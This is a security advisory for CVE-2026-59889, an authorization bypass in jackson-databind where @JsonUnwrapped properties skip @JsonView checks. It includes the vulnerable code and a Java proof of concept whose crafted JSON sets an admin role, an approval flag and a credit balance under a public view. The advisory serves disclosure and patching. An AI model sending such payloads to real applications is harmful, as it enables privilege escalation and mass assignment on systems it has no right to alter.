CVE-2026-59889

Overview

jackson-databind is the general-purpose data-binding package of the FasterXML Jackson suite. It provides full data-binding (object serialization and deserialization) on top of the Jackson streaming parser/generator (jackson-core) and the Jackson annotations (jackson-annotations), and is one of the most widely used JSON libraries for Java.

An authorization bypass vulnerability (CVE-2026-59889) has been identified in jackson-databind's handling of @JsonUnwrapped properties, which allows attackers to set a property restricted by @JsonView from untrusted JSON when deserializing under a less-privileged active view. When an application uses @JsonView to control which fields a caller may write, this can lead to mass assignment of privileged state.

Per OWASP: Software frameworks sometimes allow developers to automatically bind HTTP request parameters into program code variables or objects to make using that framework easier on developers. This can sometimes cause harm. Attackers can sometimes use this methodology to create new parameters that the developer never intended which in turn creates or overwrites new variable or objects in program code that was not intended. This is called a Mass Assignment vulnerability.

This issue affects multiple versions of Jackson Databind.

Details

Module Info

• Product: Jackson Databind
• Affected packages: com.fasterxml.jackson.core:jackson-databind, tools.jackson.core:jackson-databind
• Affected versions:
  • com.fasterxml.jackson.core:jackson-databind: >=2.0.0-RC1 <2.18.9, >=2.19.0 <2.21.5, >=2.22.0 <2.22.1
  • tools.jackson.core:jackson-databind: >=3.0.0 <=3.1.4, >=3.2.0 <3.2.1
• GitHub repository: https://github.com/FasterXML/jackson-databind
• Published packages: https://central.sonatype.com/artifact/com.fasterxml.jackson.core/jackson-databind, https://central.sonatype.com/artifact/tools.jackson.core/jackson-databind
• Package manager: Maven
• Fixed in:
  • OSS Jackson Databind 2.18.9, 2.21.5, 2.22.1, 3.1.5, 3.2.1
  • NES for Jackson v2.13.13, v2.14.10, v2.15.11

Vulnerability Info

This Medium-severity vulnerability is found in the jackson-databind package in multiple versions of Jackson Databind.

@JsonView lets an application restrict which properties are bound during deserialization: when a reader is created with readerWithView(PublicView.class), a property annotated @JsonView(AdminView.class) is expected to be skipped. Properties annotated with @JsonUnwrapped take a different path. While the bean is being read, the JSON for unwrapped properties is buffered, and once the regular properties have been handled the buffered input is replayed into each unwrapped property by UnwrappedPropertyHandler.processUnwrapped():

public Object processUnwrapped(JsonParser originalParser, DeserializationContext ctxt,
        Object bean, TokenBuffer buffered)
    throws IOException
{
    for (int i = 0, len = _properties.size(); i < len; ++i) {
        SettableBeanProperty prop = _properties.get(i);
        JsonParser p = buffered.asParser(originalParser.streamReadConstraints());
        p.nextToken();
        prop.deserializeAndSet(p, ctxt, bean);
    }
    return bean;
}

The loop calls prop.deserializeAndSet() for every unwrapped field or setter property without checking prop.visibleInView() against the active view returned by ctxt.getActiveView(). The creator-property path and the directly matched properties do apply this check. As a result, a container property annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from the request body even when the reader's active view is a more restrictive one such as PublicView. An application that relies on @JsonView as a write-side guard, for example binding a public registration request under a public view, lets a low-privileged caller set the fields of the privileged unwrapped object (such as a role, an approval flag or a balance). The same path is reached for nested @JsonUnwrapped properties, for updates through readerWithView(...).withValueToUpdate(...), and for builder-based deserialization, which also replays unwrapped properties through processUnwrapped().

Steps to Reproduce

1. Define a view hierarchy and a bean whose privileged block is a @JsonUnwrapped property restricted to the admin view:

public static class PublicView {}
public static class AdminView extends PublicView {}

public static class AccountFlags {
    public String role;
    public boolean approved;
    public long creditBalance;
}

public static class Registration {
    @JsonView(PublicView.class) public String email;
    @JsonView(PublicView.class) public String password;
    @JsonView(AdminView.class) @JsonUnwrapped public AccountFlags flags;
}

2. Deserialize attacker-supplied JSON under the public view:

ObjectMapper mapper = new ObjectMapper();
String json = "{\"email\":\"mallory@evil.test\",\"password\":\"pw\","
        + "\"role\":\"ADMIN\",\"approved\":true,\"creditBalance\":1000000}";
Registration r = mapper.readerWithView(PublicView.class)
        .forType(Registration.class)
        .readValue(json);
System.out.println(r.flags == null ? "null" : r.flags.role + " " + r.flags.approved + " " + r.flags.creditBalance);

3. On an affected version, r.flags is populated and the program prints ADMIN true 1000000. On a fixed version, r.flags is left null under PublicView and the program prints null, the same result an identical @JsonView(AdminView.class) property without @JsonUnwrapped gives when its block is sent as a nested flags object.

Mitigation

Only recent versions of Jackson are community-supported. Release lines the project has closed are End-of-Life and will not receive community updates addressing this issue. Branch status is published on the project's own Jackson Releases page.

Users of the affected components should apply one of the following mitigations:

• Upgrade jackson-databind to a currently supported release containing the fix, such as 2.18.9 or later.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

• Abdullah Kareem (finder)